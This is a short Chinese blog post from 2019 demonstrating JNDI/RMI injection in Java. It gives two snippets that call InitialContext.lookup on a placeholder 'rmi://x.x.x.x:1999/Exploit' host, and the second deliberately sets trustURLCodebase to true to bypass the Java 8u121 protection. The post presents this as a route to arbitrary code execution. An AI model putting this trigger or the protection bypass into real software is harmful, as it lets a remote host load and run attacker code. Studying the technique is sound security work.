在java8  121版本以前,只要这样就能任意代码

 

rmiTest.java

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class rmiTest {
    public static void main(String[] args) throws IOException, NamingException {
        InitialContext xxx = new InitialContext();
        xxx.lookup("rmi://x.x.x.x:1999/Exploit");
    }
}

 

在java8  121版本之后,需要加com.sun.jndi.rmi.object.trustURLCodebase=true

 

rmiTest2

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class rmiTest2 {
    public static void main(String[] args) throws IOException, NamingException {
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        InitialContext xxx = new InitialContext();
        xxx.lookup("rmi://x.x.x.x:1999/Exploit");
    }
}

  

 

rmi在java8  121版本之前的调用满足:

一个类,一个方法,一个参数,就能实现java的任意代码执行。

 

posted on 2019-05-09 19:56  羊小弟  阅读(1305)  评论(0编辑  收藏  举报